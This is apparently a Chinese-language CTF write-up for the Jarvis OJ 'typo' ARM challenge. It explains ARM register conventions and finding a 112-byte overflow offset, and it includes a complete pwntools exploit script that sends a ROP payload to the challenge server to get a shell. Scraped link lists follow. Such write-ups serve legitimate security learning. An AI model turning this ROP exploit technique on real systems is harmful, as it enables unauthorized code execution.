m4x的–如何pwn掉一个arm binary

arm 的参数 1 ~ 4 分别保存到 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡, 返回值存放在 r0中

by the way, arm 的 pc 指针相当于 eip/rip, b/bl 等指令实现了跳转

按程序流程输入超长的字符串,这里用pwndbg中的cyclic构造字符串,因为peda中的pattern好像有点问题。输入超长字符串后发现程序崩溃,返回值保存在r0中,也就是显示的rax。


查找r0中0x62616164在字符串的位置,为112,也就是缓冲区是0~111。

pwndbg> cyclic -l 0x62616164
112

接下来查找可利用的gadget

那么构造payload='a'*112+p32(0x20904)+p32(0x6c384)+p32(1)+p32(system_address)
找system_address只能靠经验了,符号表被去除了,网上有方法用rizzo还原符号表但一直安装不成功。
脚本如下:

from pwn import *
context.log_level = "debug"#p = process("./typo")
p = remote("pwn2.jarvisoj.com", 9888)p.sendafter("quit\n", "\n")
p.recvline()payload = 'a' * 112 + p32(0x20904) + p32(0x6c384) + p32(1) + p32(0x110B4)
p.sendlineafter("\n", payload)
p.interactive()

jarvis oj typo相关推荐

  1. [Jarvis OJ - PWN]——Typo(内涵peak小知识)

    [Jarvis OJ - PWN]--Typo 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先check一下, 是arm架构.还是第一次遇到. pe ...

  2. [Jarvis OJ - PWN]——Backdoor

    [Jarvis OJ - PWN]--Backdoor 题目地址: https://www.jarvisoj.com/challenges 题目: 额,怎么说呢这个题有点出乎我的意料, 有点晕乎乎的. ...

  3. [Jarvis OJ - PWN]——[61dctf]fm

    [Jarvis OJ - PWN]--[61dctf]fm 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下, 开启了canary ...

  4. [Jarvis OJ - PWN]——Test Your Memory

    [Jarvis OJ - PWN]--Test Your Memory 题目地址: https://www.jarvisoj.com/challenges 题目: 32位程序,开了NX保护 IDA e ...

  5. [Jarvis OJ - PWN]——[XMAN]level4

    [Jarvis OJ - PWN]--[XMAN]level4 题目地址: https://www.jarvisoj.com/challenges 题目: checksec一下 IDA中 思路 0x1 ...

  6. [Jarvis OJ - PWN]——Smashes

    [Jarvis OJ - PWN]--Smashes 题目地址: https://www.jarvisoj.com/challenges 题目: 还是先checksec一下看看.64位,并且除了PIE ...

  7. [Jarvis OJ - PWN]——[XMAN]level3_x64

    [Jarvis OJ - PWN]--[XMAN]level3_x64 题目地址:https://www.jarvisoj.com/challenges 题目: 老样子,还是先checksec一下,再 ...

  8. [Jarvis OJ - PWN]——[XMAN]level3

    [Jarvis OJ - PWN]--[XMAN]level3 题目地址:https://www.jarvisoj.com/challenges 题目: 先checksec一下,32位程序开启了NX保 ...

  9. [Jarvis OJ - PWN]——[XMAN]level2(x64)

    [Jarvis OJ - PWN]--[XMAN]level2(x64) 题目地址:https://www.jarvisoj.com/challenges 题目: checksec一下,是64位程序. ...

  10. [Jarvis OJ - PWN]——Tell Me Something

    [Jarvis OJ - PWN]--Tell Me Something 题目地址:https://www.jarvisoj.com/challenges 题目: 还是先checksec一下,64位开 ...

最新文章

  1. Microsoft Dynamics CRM 2013 and 2011 Update Rollups and Service Packs
  2. python plotly 多个表格_Plotly Python - 更改表格
  3. qt自定义控件的样式
  4. 改变php二维数组的值_php如何修改二维数组中的值?
  5. aix 的c库为什么都是静态库_Linux静态库生成指南
  6. 学校邮箱注册IDEA、pycharm等全家桶(正式版就是香)
  7. 企业者的福音之8266接入阿里智能,点亮一盏灯
  8. fetchtype 动态控制_hibernate 中 fetch=FetchType.LAZY 懒加载失败处理方法
  9. 30岁学python有前途吗-30岁新手入门python!尝试人生另一种可能
  10. 好程序员分享js实现简单的板球游
  11. 动态修改UINavigationBar的背景色
  12. 【转】JQuery中$.each 和$(selector).each()的区别详解
  13. 怎么修改管家婆服务器密码忘记,管家婆操作员密码找回教程.doc
  14. 数字化定量分析_数字化驱动下的华夏银行信用卡精细化智能服务
  15. ubuntu处理openproj不能使用问题
  16. ubuntu20.04 wps安装流程及问题解决
  17. python正则抓取身份证号码,验证18位身份证号码是否正确
  18. mate桌面暗色调超好看的配置
  19. 计算机怎样禁止再添加新用户,Win10如何添加新用户?
  20. 详解旨在提升EVM底层性能的兼容公链Monad

热门文章

  1. stm32-HY-SRF05 超声波模块-原理及代码解读
  2. 网络数据传输的节点大全
  3. Tomcat升级版本出现400问题
  4. 花木兰替父从军java_花木兰替父从军 木兰诗原文
  5. 如何防止局域网病毒春风吹又生--之二
  6. PHP留言并展示_php留言簿功能实现
  7. 简单html开源游戏案例,基于CreatejsHTML5游戏案例(看你有多色游戏案例)
  8. 第三章:SCI论文写作经验分享
  9. flutter | 悬浮窗解决方案 flutter_floating
  10. re.sub()用法的详细介绍